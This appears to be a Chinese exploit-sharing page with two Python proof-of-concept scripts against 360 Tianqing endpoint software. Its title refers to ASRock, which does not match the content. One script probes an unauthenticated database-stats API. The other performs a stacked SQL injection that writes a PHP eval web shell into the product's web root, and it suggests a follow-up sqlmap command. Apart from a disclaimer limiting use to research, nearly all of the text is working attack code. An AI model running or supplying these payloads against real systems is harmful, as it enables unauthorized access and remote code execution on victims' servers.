ASRock_Override Access 和 ASRock_Frontend sql 注入复制

GET /api/dbstat/gettablessize HTTP/1.1

#!/usr/bin/env python# -*- coding: utf-8 -*-'''name: 360天擎未授权访问referer: 360天擎未授权访问 IP:port/api/dbstat/gettablessizeauthor: thelostworlddescription: 360天擎未授权访问。免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!'''import sysimport warningsimport requestsimport clickfrom concurrent.futures import ThreadPoolExecutor
W = '\033[0m'G = '\033[1;32m'R = '\033[1;31m'O = '\033[1;33m'B = '\033[1;34m'

def run(url):    result = ['','不存在']    payload = "/api/dbstat/gettablessize"    vulnurl = url + payload    if("http" in vulnurl):        vulnurl = vulnurl    else:        vulnurl = "http://" + vulnurl    try:        req = requests.get(vulnurl,timeout=1, verify=False)        if r"schema_name" in req.text :            result[1] = '存在'            result[0] = vulnurl            print(G,result[1]+result[0]+'\r\n'+req.text,W)        else:            result[1] = '不存在'    except:        result[1] = '不存在'    return result
if __name__ == "__main__":    warnings.filterwarnings("ignore")    testVuln = run(sys.argv[1])

/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval（$_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--

#!/usr/bin/env python# -*- coding: utf-8 -*-'''name: 360天擎SQL注入referer: 360天擎SQL注入 IP:port/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval（$_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;-- author: thelostworlddescription: 360天擎SQL注入。免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!'''import sysimport warningsimport requestsimport clickfrom concurrent.futures import ThreadPoolExecutor
W = '\033[0m'G = '\033[1;32m'R = '\033[1;31m'O = '\033[1;33m'B = '\033[1;34m'
def run(url):    result = ['','不存在']    payload = "/api/dp/rptsvcsyncpoint?ccid=1*"    headers = { "Upgrade-Insecure-Requests": "1",                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36",                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",                 "Accept-Encoding": "gzip, deflate",                 "Accept-Language": "zh-CN,zh;q=0.9",                 "Connection": "close"        }    vulnurl = url + payload    if("http" in vulnurl):        vulnurl = vulnurl    else:        vulnurl = "http://" + vulnurl    try:        req = requests.get(vulnurl, headers=headers, timeout=3, verify=False)        if r"success" in req.text :            result[1] = '存在'            result[0] = vulnurl + '需要进一步验证,SQLMAP语法:sqlmap.py -u "%s" --dbms PostgreSQL --batch'%(vulnurl)            print(G,result[0],W)        else:            result[1] = '不存在'    except:        result[1] = '不存在'    return resultif __name__ == "__main__":    warnings.filterwarnings("ignore")    testVuln = run(sys.argv[1])